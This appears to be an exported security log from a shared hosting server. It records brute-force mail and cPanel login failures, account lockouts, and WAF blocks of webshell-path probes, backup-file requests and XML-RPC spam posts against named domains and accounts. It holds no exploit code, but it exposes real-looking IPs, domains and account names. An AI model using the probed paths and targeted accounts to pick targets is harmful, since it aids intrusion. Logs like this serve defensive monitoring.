plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.110.50.47
country_id: 1269750
domain: 42.0.28.70
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:cabecom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-02-01 00:56:03 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:48290: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:56:26 dovecot_login authenticator failed for H=(2AfiJH) [178.16.54.22]:56887: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 00:56:38 dovecot_login authenticator failed for H=(iAcTkynNwV) [141.98.11.48]:59030: 535 Incorrect authentication data (set_id=ridzwan)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:56:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 2.54.85.220
country_id: 294640
description:
Feb  1 00:56:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(2.54.85.220)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:56:55 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54961: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:57:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62073: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:56:07 dovecot_login authenticator failed for H=(U4Evda) [158.94.208.215]:59437: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.54.85.220
country_id: 294640
description:
2026-02-01 00:56:10 dovecot_login authenticator failed for H=(2-54-85-220.orange.net.il) [2.54.85.220]:56661: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.8
country_id: 798544
description:
2026-02-01 00:57:03 dovecot_login authenticator failed for H=89-67-37-8.dynamic.play.pl [89.67.37.8]:39487: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-02-01 00:57:17 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com [94.255.255.26]:54070: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-02-01 00:57:55 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:39463: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.110.50.47
country_id: 1269750
domain: 42.0.28.70
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/log/error.log||User:cabecom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:57:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52539: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:57:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 00:57:17 dovecot_login authenticator failed for H=(z6Nug0sZ) [141.98.11.48]:55246: 535 Incorrect authentication data (set_id=ridzwan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:57:11 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:60474: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:57:19 dovecot_login authenticator failed for H=(Pg9jZh0J) [158.94.208.215]:65506: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:57:47 dovecot_login authenticator failed for H=(IoxC7r6yt) [178.16.54.22]:58258: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.28.56
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/grow/264/86493 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:58:11 dovecot_login authenticator failed for H=(KehPEzHS4) [178.16.54.22]:51453: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:58:47 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:63601: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:58:07 dovecot_login authenticator failed for H=(CbnW0WkmB) [158.94.208.215]:58186: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.100.196.146
country_id: 3144096
domain: task.visoft.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/visoftcom/task.visoft.com.my/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 00:58:04 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:44395: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:58:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57443: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.130.5
country_id: 1269750
domain: lnlfireprotection.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:96472.lnlfireprotection.com||ServerName:lnlfireprotection.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:437c2b31b726280651918a6c7ced3ecc923fc439||Title:0xb1fc51df||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:58:52 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55358: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:58:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.152.121
country_id: 99237
domain: www.tptec.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tptec.com.my/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 00:59:08 dovecot_login authenticator failed for H=(ecvSs4OtFT) [141.98.11.48]:61737: 535 Incorrect authentication data (set_id=ridzwan)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:59:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:59:23 dovecot_login authenticator failed for H=(DwqFHnjr) [178.16.54.22]:54650: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.100.196.146
country_id: 3144096
domain: task.visoft.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/visoftcom/task.visoft.com.my/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:59:19 dovecot_login authenticator failed for H=(wnzyNJ) [158.94.208.215]:56576: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-02-01 00:59:57 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg [121.6.81.59]:35757: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/photos/images/testimonial.php||SC:/home/indfinitydesign/public_html/img/photos/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.180.72
country_id: 2017370
description:
2026-02-01 01:00:15 dovecot_login authenticator failed for H=a217-29-180-72.pppoe.mark-itt.net [217.29.180.72]:51928: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:00:32 dovecot_login authenticator failed for H=(9pz1iVmi) [141.98.11.48]:49884: 535 Incorrect authentication data (set_id=ridzwan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.181.7
country_id: 1814991
description:
2026-02-01 01:00:09 dovecot_login authenticator failed for H=([61.145.181.7]) [61.145.181.7]:38172: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:00:09 dovecot_login authenticator failed for H=(fcPVu0m) [178.16.54.22]:57891: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.75.226.12
country_id: 99237
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=68801516692701 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.47.138.157
country_id: 6252001
description:
2026-02-01 01:00:24 dovecot_login authenticator failed for H=(136-47-138-157.googlefiber.net) [136.47.138.157]:46708: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:00:52 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:53583: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-02-01 01:00:28 dovecot_plain authenticator failed for H=(zibberous) [12.150.243.22]:11899: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 01:00:39 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:36972: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 01:00:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:00:07 dovecot_login authenticator failed for H=(FYDGi6E) [158.94.208.215]:64877: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:01:19 dovecot_login authenticator failed for H=(qRembVe9) [158.94.208.215]:60811: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.12.179
country_id: 1269750
description:
2026-02-01 01:01:01 dovecot_login authenticator failed for H=([128.185.12.179]) [128.185.12.179]:52942: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:01:05 dovecot_login authenticator failed for H=(Wz8mngQ) [178.16.54.22]:49602: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:01:14 dovecot_login authenticator failed for H=(mPLEPlZi) [141.98.11.48]:53044: 535 Incorrect authentication data (set_id=ridzwan)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:02:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 01:02:20 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:49498: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:02:07 dovecot_login authenticator failed for H=(GMWqNirq30) [158.94.208.215]:56459: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:02:17 dovecot_login authenticator failed for H=(Us8rZ6Ev3) [178.16.54.22]:54800: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 01:02:27 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:37049: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:02:19 dovecot_login authenticator failed for H=(JT1Zpc) [141.98.11.48]:51387: 535 Incorrect authentication data (set_id=ridzwan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.35.178.104
country_id: 732800
description:
2026-02-01 01:02:33 dovecot_plain authenticator failed for H=(bulast) [46.35.178.104]:34904: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:03:19 dovecot_login authenticator failed for H=(MsB4cD) [158.94.208.215]:62742: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-02-01 01:03:27 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network [202.62.129.18]:57318: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 01:03:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 01:03:05 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:25138: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-02-01 01:03:53 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net (static-200-105-141-161.acelerate.net) [200.105.141.172]:38100: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:04:00 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63654: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.150.228.211
country_id: 2510769
description:
2026-02-01 01:03:16 dovecot_login authenticator failed for H=211.red-79-150-228.dynamicip.rima-tde.net [79.150.228.211]:34207: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:03:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:03:25 dovecot_login authenticator failed for H=(vA2XK98yTJ) [178.16.54.22]:59443: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:03:41 dovecot_login authenticator failed for H=(SXMZoEo5Vp) [141.98.11.48]:64760: 535 Incorrect authentication data (set_id=ridzwan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.0.7.178
country_id: 953987
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=222966 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 01:03:24 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:54076: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 01:03:44 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:46986: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:03:51 dovecot_login authenticator failed for H=(fQ46GYsfO) [185.36.81.54]:49482: 535 Incorrect authentication data (set_id=cklee)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.77
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/demos/img/photos/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-02-01 01:04:04 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:49564: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.212.110.237
country_id: 3144096
description:
2026-02-01 01:04:28 dovecot_login authenticator failed for H=(cm-46.212.110.237.get.no) [46.212.110.237]:48353: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:04:29 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:04:31 dovecot_login authenticator failed for H=(bLQEVujCGU) [178.16.54.22]:59121: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.38.130
country_id: 1210997
description:
2026-02-01 01:04:01 dovecot_login authenticator failed for H=([49.0.38.130]) [49.0.38.130]:52370: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:04:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59489: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:04:21 dovecot_login authenticator failed for H=(ekejzry) [141.98.11.48]:54665: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:04:39 dovecot_login authenticator failed for H=(V3kBujR49M) [185.36.81.54]:53066: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.27.205.159
country_id: 1814991
description:
2026-02-01 01:04:49 dovecot_login authenticator failed for H=([218.27.205.159]) [218.27.205.159]:47696: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 01:04:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:04:07 dovecot_login authenticator failed for H=(cM170n) [158.94.208.215]:58638: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 01:05:59 +0800] info [cpaneld] 185.204.54.153 - mssa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mssa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 01:05:26 dovecot_login authenticator failed for H=(fucYqwJ8L9) [185.36.81.54]:49479: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:05:51 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64714: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:05:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 01:05:20 dovecot_login authenticator failed for H=(gv3OkDz) [178.16.54.22]:57697: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:05:19 dovecot_login authenticator failed for H=(92EyCfVUFc) [158.94.208.215]:64705: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:05:37 dovecot_login authenticator failed for H=(42mwSq9qT7) [141.98.11.48]:58192: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 01:05:52 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:58610: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 01:05:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50770: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 01:05:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 01:05:21 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:47754: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 01:06:01 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:55528: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 01:06:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.204.124.32
country_id: 1269750
description:
2026-02-01 01:06:32 dovecot_login authenticator failed for H=(broadband.actcorp.in) [49.204.124.32]:42322: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 01:06:33 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:23574: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 01:06:59 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:41306: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.188.102.28
country_id: 298795
description:
2026-02-01 01:06:14 dovecot_login authenticator failed for H=(78.188.102.28.static.ttnet.com.tr) [78.188.102.28]:51022: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 01:06:38 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:1154: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 01:06:07 dovecot_login authenticator failed for H=(6DYLmm) [158.94.208.215]:59594: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 01:06:14 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:53472: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 01:06:18 dovecot_login authenticator failed for H=(BSrWvo) [141.98.11.48]:51801: 535 Incorrect authentication data (set_id=ridzwan@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.130
country_id: 1269750
description:
2026-02-01 01:06:26 dovecot_login authenticator failed for H=([122.185.139.41]) [182.95.184.130]:51448: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-02-01 01:06:34 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:58386: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
